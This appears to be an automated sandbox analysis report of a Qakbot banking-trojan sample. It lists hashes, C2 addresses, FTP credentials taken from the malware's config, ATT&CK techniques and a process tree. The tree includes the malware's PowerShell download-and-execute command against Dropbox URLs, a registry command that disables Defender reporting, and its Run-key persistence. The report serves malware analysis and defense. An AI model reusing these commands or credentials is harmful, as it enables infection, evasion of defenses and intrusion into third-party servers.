qakbot | 46dc49be65d7165e2a6009854a4f27f0088230199e61e0555cb1bd266535874a

Analysis

max time kernel
153s
max time network
41s
platform
windows7_x64
resource
win7
submitted
11-08-2020 12:30

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General

Target

foo/62565a39c4a264e48e0678edad5d60fd.exe

Score

10^/10

qakbot 1535648626 banker persistence stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1

ps1.dropper

https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1

Extracted

Family

qakbot

Campaign

1535648626

Credentials

Protocol: ftp
Host:
37.60.244.211
Port:
21
Username:
[email protected]
Password:
4AsEzIaMwi2d

Protocol: ftp
Host:
198.38.77.162
Port:
21
Username:
[email protected]
Password:
kJm6DKVPfyiv

Protocol: ftp
Host:
61.221.12.26
Port:
21
Username:
[email protected]
Password:
346HZGCMlwecz9S

Protocol: ftp
Host:
67.222.137.18
Port:
21
Username:
[email protected]
Password:
p4a8k6fE1FtA3pR

Protocol: ftp
Host:
107.6.152.61
Port:
21
Username:
[email protected]
Password:
RoP4Af0RKAAQ74V

190.185.219.110:443

73.74.72.141:443

65.116.179.83:443

50.198.141.161:2078

70.183.154.153:995

68.49.120.179:443

70.94.109.57:443

24.45.54.50:2222

190.80.21.204:2222

216.201.159.118:443

74.88.210.56:995

75.189.235.216:443

47.48.236.98:2222

68.59.209.183:995

75.3.101.153:443

108.17.25.169:443

185.219.83.73:443

184.180.157.203:2222

207.178.109.161:443

174.48.72.160:443

Signatures

Qakbot/Qbot
Qbot or Qakbot is a sophisticated worm with banking capabilities.
trojan banker stealer qakbot
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

4 368 powershell.exe
6 368 powershell.exe
Executes dropped EXE 2 IoCs

Processes:

bugdknz.exebugdknz.exe

pid process

1484 bugdknz.exe
1060 bugdknz.exe
Loads dropped DLL 2 IoCs

Processes:

62565a39c4a264e48e0678edad5d60fd.exe

pid process

1320 62565a39c4a264e48e0678edad5d60fd.exe
1320 62565a39c4a264e48e0678edad5d60fd.exe

flow	pid	process
4	368	powershell.exe
6	368	powershell.exe

pid	process
1484	bugdknz.exe
1060	bugdknz.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

explorer.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\lbtmcpcz = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Bugdknzu\\bugdknz.exe\""	explorer.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1976 PING.EXE

pid	process
1976	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

62565a39c4a264e48e0678edad5d60fd.exe62565a39c4a264e48e0678edad5d60fd.exebugdknz.exebugdknz.exepowershell.exeexplorer.exetaskhost.exeDwm.exeExplorer.EXEconhost.execmd.execonhost.exePING.EXE

pid	process
1320	62565a39c4a264e48e0678edad5d60fd.exe
1388	62565a39c4a264e48e0678edad5d60fd.exe
1388	62565a39c4a264e48e0678edad5d60fd.exe
1484	bugdknz.exe
1060	bugdknz.exe
368	powershell.exe
368	powershell.exe
1060	bugdknz.exe
1796	explorer.exe
1140	taskhost.exe
1796	explorer.exe
1236	Dwm.exe
1284	Explorer.EXE
1320	62565a39c4a264e48e0678edad5d60fd.exe
368	powershell.exe
816	conhost.exe
368	powershell.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1924	cmd.exe
1920	conhost.exe
1976	PING.EXE
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe
1796	explorer.exe

Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

bugdknz.exe

pid process

1484 bugdknz.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 368 powershell.exe
Suspicious use of FindShellTrayWindow 5 IoCs

Processes:

Explorer.EXE

pid process

1284 Explorer.EXE
1284 Explorer.EXE
1284 Explorer.EXE
1284 Explorer.EXE
1284 Explorer.EXE
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1284 Explorer.EXE
1284 Explorer.EXE
1284 Explorer.EXE
1284 Explorer.EXE

pid	process
1484	bugdknz.exe

description	pid	process
Token: SeDebugPrivilege	368	powershell.exe

pid	process
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE

pid	process
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE
1284	Explorer.EXE

Suspicious use of WriteProcessMemory 60 IoCs

Processes:

62565a39c4a264e48e0678edad5d60fd.exebugdknz.exeexplorer.execmd.exe

description	pid	process	target process
PID 1320 wrote to memory of 1388	1320	62565a39c4a264e48e0678edad5d60fd.exe	62565a39c4a264e48e0678edad5d60fd.exe
PID 1320 wrote to memory of 1388	1320	62565a39c4a264e48e0678edad5d60fd.exe	62565a39c4a264e48e0678edad5d60fd.exe
PID 1320 wrote to memory of 1388	1320	62565a39c4a264e48e0678edad5d60fd.exe	62565a39c4a264e48e0678edad5d60fd.exe
PID 1320 wrote to memory of 1388	1320	62565a39c4a264e48e0678edad5d60fd.exe	62565a39c4a264e48e0678edad5d60fd.exe
PID 1320 wrote to memory of 1484	1320	62565a39c4a264e48e0678edad5d60fd.exe	bugdknz.exe
PID 1320 wrote to memory of 1484	1320	62565a39c4a264e48e0678edad5d60fd.exe	bugdknz.exe
PID 1320 wrote to memory of 1484	1320	62565a39c4a264e48e0678edad5d60fd.exe	bugdknz.exe
PID 1320 wrote to memory of 1484	1320	62565a39c4a264e48e0678edad5d60fd.exe	bugdknz.exe
PID 1320 wrote to memory of 1020	1320	62565a39c4a264e48e0678edad5d60fd.exe	reg.exe
PID 1320 wrote to memory of 1020	1320	62565a39c4a264e48e0678edad5d60fd.exe	reg.exe
PID 1320 wrote to memory of 1020	1320	62565a39c4a264e48e0678edad5d60fd.exe	reg.exe
PID 1320 wrote to memory of 1020	1320	62565a39c4a264e48e0678edad5d60fd.exe	reg.exe
PID 1320 wrote to memory of 368	1320	62565a39c4a264e48e0678edad5d60fd.exe	powershell.exe
PID 1320 wrote to memory of 368	1320	62565a39c4a264e48e0678edad5d60fd.exe	powershell.exe
PID 1320 wrote to memory of 368	1320	62565a39c4a264e48e0678edad5d60fd.exe	powershell.exe
PID 1320 wrote to memory of 368	1320	62565a39c4a264e48e0678edad5d60fd.exe	powershell.exe
PID 1484 wrote to memory of 1060	1484	bugdknz.exe	bugdknz.exe
PID 1484 wrote to memory of 1060	1484	bugdknz.exe	bugdknz.exe
PID 1484 wrote to memory of 1060	1484	bugdknz.exe	bugdknz.exe
PID 1484 wrote to memory of 1060	1484	bugdknz.exe	bugdknz.exe
PID 1484 wrote to memory of 1796	1484	bugdknz.exe	explorer.exe
PID 1484 wrote to memory of 1796	1484	bugdknz.exe	explorer.exe
PID 1484 wrote to memory of 1796	1484	bugdknz.exe	explorer.exe
PID 1484 wrote to memory of 1796	1484	bugdknz.exe	explorer.exe
PID 1484 wrote to memory of 1796	1484	bugdknz.exe	explorer.exe
PID 1796 wrote to memory of 1140	1796	explorer.exe	taskhost.exe
PID 1796 wrote to memory of 1140	1796	explorer.exe	taskhost.exe
PID 1796 wrote to memory of 1140	1796	explorer.exe	taskhost.exe
PID 1796 wrote to memory of 1236	1796	explorer.exe	Dwm.exe
PID 1796 wrote to memory of 1236	1796	explorer.exe	Dwm.exe
PID 1796 wrote to memory of 1236	1796	explorer.exe	Dwm.exe
PID 1796 wrote to memory of 1284	1796	explorer.exe	Explorer.EXE
PID 1796 wrote to memory of 1284	1796	explorer.exe	Explorer.EXE
PID 1796 wrote to memory of 1284	1796	explorer.exe	Explorer.EXE
PID 1796 wrote to memory of 1320	1796	explorer.exe	62565a39c4a264e48e0678edad5d60fd.exe
PID 1796 wrote to memory of 1320	1796	explorer.exe	62565a39c4a264e48e0678edad5d60fd.exe
PID 1796 wrote to memory of 1320	1796	explorer.exe	62565a39c4a264e48e0678edad5d60fd.exe
PID 1796 wrote to memory of 368	1796	explorer.exe	powershell.exe
PID 1796 wrote to memory of 368	1796	explorer.exe	powershell.exe
PID 1796 wrote to memory of 368	1796	explorer.exe	powershell.exe
PID 1796 wrote to memory of 816	1796	explorer.exe	conhost.exe
PID 1796 wrote to memory of 816	1796	explorer.exe	conhost.exe
PID 1796 wrote to memory of 816	1796	explorer.exe	conhost.exe
PID 1320 wrote to memory of 1924	1320	62565a39c4a264e48e0678edad5d60fd.exe	cmd.exe
PID 1320 wrote to memory of 1924	1320	62565a39c4a264e48e0678edad5d60fd.exe	cmd.exe
PID 1320 wrote to memory of 1924	1320	62565a39c4a264e48e0678edad5d60fd.exe	cmd.exe
PID 1320 wrote to memory of 1924	1320	62565a39c4a264e48e0678edad5d60fd.exe	cmd.exe
PID 1924 wrote to memory of 1976	1924	cmd.exe	PING.EXE
PID 1924 wrote to memory of 1976	1924	cmd.exe	PING.EXE
PID 1924 wrote to memory of 1976	1924	cmd.exe	PING.EXE
PID 1924 wrote to memory of 1976	1924	cmd.exe	PING.EXE
PID 1796 wrote to memory of 1924	1796	explorer.exe	cmd.exe
PID 1796 wrote to memory of 1924	1796	explorer.exe	cmd.exe
PID 1796 wrote to memory of 1924	1796	explorer.exe	cmd.exe
PID 1796 wrote to memory of 1920	1796	explorer.exe	conhost.exe
PID 1796 wrote to memory of 1920	1796	explorer.exe	conhost.exe
PID 1796 wrote to memory of 1920	1796	explorer.exe	conhost.exe
PID 1796 wrote to memory of 1976	1796	explorer.exe	PING.EXE
PID 1796 wrote to memory of 1976	1796	explorer.exe	PING.EXE
PID 1796 wrote to memory of 1976	1796	explorer.exe	PING.EXE

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1140

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1236

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1284

C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe
"C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe"
2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1320

C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe
"C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe" /C
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1388

C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1484

C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe" /C
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1060

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1796

C:\Windows\system32\reg.exe
C:\Windows\system32\reg.exe ADD "HKLM\SOFTWARE\Microsoft\Microsoft AntiMalware\SpyNet" /f /t REG_DWORD /v "SpyNetReporting" /d "0"
3⤵
PID:1020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/41zf98knyy5atko/001_01.ps1?dl=1'); IEX (New-Object Net.WebClient).DownloadString('https://www.dropbox.com/s/dh8flnrogfq1h1w/001.ps1?dl=1'); Invoke-MainWorker -Command 'C:\Users\Admin\AppData\Local\Temp\xujysixlggxpjklaxynlrhabicstv.txt'"
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:368

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping.exe -n 6 127.0.0.1 & type "C:\Windows\System32\calc.exe" > "C:\Users\Admin\AppData\Local\Temp\foo\62565a39c4a264e48e0678edad5d60fd.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1924

C:\Windows\SysWOW64\PING.EXE
ping.exe -n 6 127.0.0.1
4⤵
- Runs ping.exe
- Suspicious behavior: EnumeratesProcesses
PID:1976

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "20113854621198155493-1042173751-969619305-1706607289-1574504100-46405236682955566"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:816

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1707118452-1969792091-20274850017783283653387198541574052340666838331-388398328"
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:1920

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Remote System Discovery

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdkn.dat
MD5
208d81ac5bb4860b40b4f80ca2ff7433

SHA1
fa0df788e803a4a6ee927d8101b7834739c01a99

SHA256
8c6a6bae5f233eaebd82a916a3ec5b6d1b94b0d980d40f39027358921ffcec75

SHA512
b433aa02c00f1adc7db0533813afdaf446ccfa748be857d910a5df402ece81a9d4fa97220d2bcfe3cfcfa294dd7bb3989b1e7b101cda017b33471c27f5189357

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe
MD5
62565a39c4a264e48e0678edad5d60fd

SHA1
1dc0f3920082e9f3e789d5d1587d9c7b47d58a5e

SHA256
d9d3596268e269cb48aee92aaa47a50f785f8568f319aad812af163da28e7a40

SHA512
9b851c15b072ba5e0b316f2f02ff49fbb483fd5b4545d7c225f27ddfe8ef0fc99747a5b14bbad6b6373c1b562984c22d52d83c65970ce5ffc5209a5dc1e715cc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe
MD5
62565a39c4a264e48e0678edad5d60fd

SHA1
1dc0f3920082e9f3e789d5d1587d9c7b47d58a5e

SHA256
d9d3596268e269cb48aee92aaa47a50f785f8568f319aad812af163da28e7a40

SHA512
9b851c15b072ba5e0b316f2f02ff49fbb483fd5b4545d7c225f27ddfe8ef0fc99747a5b14bbad6b6373c1b562984c22d52d83c65970ce5ffc5209a5dc1e715cc

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe
MD5
62565a39c4a264e48e0678edad5d60fd

SHA1
1dc0f3920082e9f3e789d5d1587d9c7b47d58a5e

SHA256
d9d3596268e269cb48aee92aaa47a50f785f8568f319aad812af163da28e7a40

SHA512
9b851c15b072ba5e0b316f2f02ff49fbb483fd5b4545d7c225f27ddfe8ef0fc99747a5b14bbad6b6373c1b562984c22d52d83c65970ce5ffc5209a5dc1e715cc

Download Submit
\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe
MD5
62565a39c4a264e48e0678edad5d60fd

SHA1
1dc0f3920082e9f3e789d5d1587d9c7b47d58a5e

SHA256
d9d3596268e269cb48aee92aaa47a50f785f8568f319aad812af163da28e7a40

SHA512
9b851c15b072ba5e0b316f2f02ff49fbb483fd5b4545d7c225f27ddfe8ef0fc99747a5b14bbad6b6373c1b562984c22d52d83c65970ce5ffc5209a5dc1e715cc

Download Submit
\Users\Admin\AppData\Roaming\Microsoft\Bugdknzu\bugdknz.exe
MD5
62565a39c4a264e48e0678edad5d60fd

SHA1
1dc0f3920082e9f3e789d5d1587d9c7b47d58a5e

SHA256
d9d3596268e269cb48aee92aaa47a50f785f8568f319aad812af163da28e7a40

SHA512
9b851c15b072ba5e0b316f2f02ff49fbb483fd5b4545d7c225f27ddfe8ef0fc99747a5b14bbad6b6373c1b562984c22d52d83c65970ce5ffc5209a5dc1e715cc

Download Submit
memory/368-14-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/368-24-0x000000001B4F0000-0x000000001B4F1000-memory.dmp

Filesize
4KB

Download
memory/368-37-0x000000001B570000-0x000000001B571000-memory.dmp

Filesize
4KB

Download
memory/368-36-0x000000001B560000-0x000000001B561000-memory.dmp

Filesize
4KB

Download
memory/368-7-0x0000000000000000-mapping.dmp

Download
memory/368-8-0x000007FEF5AB0000-0x000007FEF649C000-memory.dmp

Filesize
9.9MB

Download
memory/368-12-0x0000000002350000-0x0000000002351000-memory.dmp

Filesize
4KB

Download
memory/368-13-0x000000001AC40000-0x000000001AC41000-memory.dmp

Filesize
4KB

Download
memory/368-21-0x000000001AB80000-0x000000001AB81000-memory.dmp

Filesize
4KB

Download
memory/368-15-0x000000001A9C0000-0x000000001A9C1000-memory.dmp

Filesize
4KB

Download
memory/368-20-0x000000001C170000-0x000000001C171000-memory.dmp

Filesize
4KB

Download
memory/1020-6-0x0000000000000000-mapping.dmp

Download
memory/1060-16-0x0000000002130000-0x0000000002141000-memory.dmp

Filesize
68KB

Download
memory/1060-10-0x0000000000000000-mapping.dmp

Download
memory/1388-1-0x00000000021C0000-0x00000000021D1000-memory.dmp

Filesize
68KB

Download
memory/1388-0-0x0000000000000000-mapping.dmp

Download
memory/1484-17-0x0000000002130000-0x0000000002199000-memory.dmp

Filesize
420KB

Download
memory/1484-4-0x0000000000000000-mapping.dmp

Download
memory/1796-18-0x0000000000000000-mapping.dmp

Download
memory/1924-38-0x0000000000000000-mapping.dmp

Download
memory/1924-40-0x0000000000000000-mapping.dmp

Download
memory/1976-39-0x0000000000000000-mapping.dmp

Download
memory/1976-41-0x0000000000000000-mapping.dmp

Download